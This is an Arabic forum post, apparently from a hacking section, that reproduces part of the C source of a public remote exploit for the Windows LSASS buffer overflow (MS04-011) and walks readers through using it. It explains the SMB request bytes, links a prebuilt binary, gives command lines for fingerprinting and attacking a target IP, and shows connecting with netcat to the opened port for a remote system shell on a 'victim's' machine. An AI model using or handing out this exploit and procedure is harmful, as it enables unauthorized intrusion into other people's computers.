[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");


if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if ((argc > 5) || opt) {
printf("
[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}


printf("
[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}


len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);



if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);


memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);


memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);


if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}


} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);


screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");


len = recv(sockfd, recvbuf, 1600, 0);


return 0;
}
ترجم البرنامج بإستخدام مترجم السي , وإذا كنت لاتملك مترجم سي قم بتحميل البرنامج النهائي من هذة الرابط
OvFEx.zip
شرح الكود + شرح عمل أو مايقوم بة هذا البرنامج (سهولة إختراق اي جهاز )


تلاحظ بأن كود البرنامج عبارة عن أكثر من ****lcode ,ولكن ليست كلها تنفيذية


مثلاً التعريف reverse****l وهو عبارة عن كود تنفيذي وضيفتة إعادة نوع وإصدار النظام الذي سينفذ بة الكود


التعريف bind****l هذا التعريف يمثل ****lcode الأساسي وهو عبارة عن كود يقوم بفتح منفذ والإنصات


أما بقية التعاريف مثل reg1 و reg2 و reg3 و reg4 ,............هذة البيانات عبارة عن رسائل لبروتوكول SMB


لاحظ التعريف reg1 عبارة عن بيانات تمثل :
00 00 00 85 FF 53 4D 42 72 00 00 00 00 18 53 C8 ...…ےSMBr.... Sب
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے‏
00 00 00 00 00 62 00 02 50 43 20 4E 45 54 57 4F .....b. PC NETWORK PROGRAM 1.0
52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 ..RK PROGRAM 1.0.
4C 41 4E 4D 41 4E 31 2E 30 00 02 57 69 6E 64 6F .. LANMAN1.0. Windo
77 73 20 66 6F 72 20 57 6F 72 6B 67 72 6F 75 70 ..ws for Workgroup
73 20 33 2E 31 61 00 02 4C 4D 31 2E 32 58 30 30 ..s 3.1a. LM1.2X00
32 00 02 4C 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 .. 2. LANMAN2.1. NT
20 4C 4D 20 30 2E 31 32 00 ..LM 0.12.
ولاحظ التعريف reg4 مثلاً


00 00 00 5C FF 53 4D 42 75 00 00 00 00 18 07 C8 ...\ےSMBu.... ب
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے‏
00 08 30 00 04 FF 00 5C 00 08 00 01 00 31 00 00 . 0. ے.\. . .1..
5C 00 5C 00 31 00 39 00 32 00 2E 00 31 00 36 00 \.\.1.9.2...1.6.
38 00 2E 00 31 00 2E 00 32 00 31 00 30 00 5C 00 8...1...2.1.0.\.
49 00 50 00 43 00 24 00 00 00 3F 3F 3F 3F 3F I.P.C.$...?????
هذة الرسائل مشابهة للأمر التالي في الدوس
net use \\192.168.1.210\IPC$ ""?????""
وهكذا مع بقية الرسائل ,,,
-
بعد أن تترجم الكود , قم بتشغيل الدوس وتجول في الجهاز إلى أن تصل إلى برنامجنا OvFEx.exe


طريقة إستخدام برنامجنا هي كالتالي


C:\OvFEx.exe 0 192.168.1.10 4444 -t
البارمتر الأول : إما أن يكون 0 أو 1 أو 2 على حسب نوع النظام
0 : WinXP Professional [universal] lsass.exe
1 : Win2k Professional [universal] netrap.dll
2 : Win2k Advanced Server [SP4] netrap.dll
البارمتر الثاني : رقم ip للجهاز المستهدف


البارمتر 3 وهو رقم المنفذ الذي سنقوم بفتحة للدخول إلى الجهاز


أما حرف ال t الأخير يكتب إذا كنا لانعرف إصدار ونوع النظام الذي نريد


الدخول لة , إذا كتبنا حرف t فإن ****lcode الذي سينفذ هوreverse****l


وسيعيد لنا البرنامج نوع النظام المستهدف دون إختراقة أو فتح أي منفذ , بهذا الشكل


C:\OvFEx.exe 0 192.168.1.10 4444 -t


MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---


*
[*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
*
[*] Connecting to 192.168.1.10:445 ... OK
*
[*] Detecting remote OS: Windows 5.0
بعد أن نحصل على نوع النظام نقوم بإختراقة وفتح منفذ , بهذة الطريقة :



C:\OvFEx.exe 1 192.168.1.10 4444


MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---
[*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
[*] Connecting to 192.168.1.10:445 ... OK
[*] Attacking ... OK


إذا ظهرت لك هذة الرسالة , معناة أن عملية الإختراق تمت بنجاح وتم تنفيذ ****lcode وهو bindcode


والآن تعتبر نجحت في فتح منفذ جديد في الجهاز المستهدف ولكن كيف تستفيد منة ,


بكل بساطة بإستخدام أداة NetCat وإختصارها nc.exe تستطيع الدخول إلى الجهاز


بهذة الطريقة وهذة البساطة :


C:\nc 192.168.1.10 4444
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.


C:\WINNT\system32>
الآن تعتبر داخل الجهاز المستهدف نفذ ماتريد


تستطيع تحميل برنامج NetCat والشفرة المصدرية للأداة لنظام وندوز من هنا :
netcat
وبعد هذة الأمثلة الوهمية ,, إليك مثال حقيقي لإختراق جهاز ؟!!!


تابع الصور فهي تطبيق عملي على ماذكر من طرق إختراق ؟؟ فقط تتطلب رقم ip


الصورة1 عبارة عن عملية إختراق - مع تطبيق الثلاث خطوات :



قد لايصدق البعض أنك بداخل جهاز الضحية ؟؟!


والبعض الآخر يريد دليل على أن النظام الذي ظهر هو النظام المستهدف ؟ّ


مارأيك بصورة من داخل نظام لينكس , والنظام المستهدف وندوز طبعاً ,,
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://video.yoo7.com
 
دراسة جامدة جدا لأخطر ثغرات الوندوز وفيرس ساسر هديتى لعام 2007
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» تحميل word 2007 أو تحديثه
» جديد حسين الغزال حصريا2007
» الان لعبة الفيفا 2007 للتحميل كاملة
» رونى كولمن بطل العالم 2007
» Mongol 2007 فيلم للتتار عن جينكيز خان

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
فديو :: الاختراق العام :: اختراق المنتديات-
انتقل الى: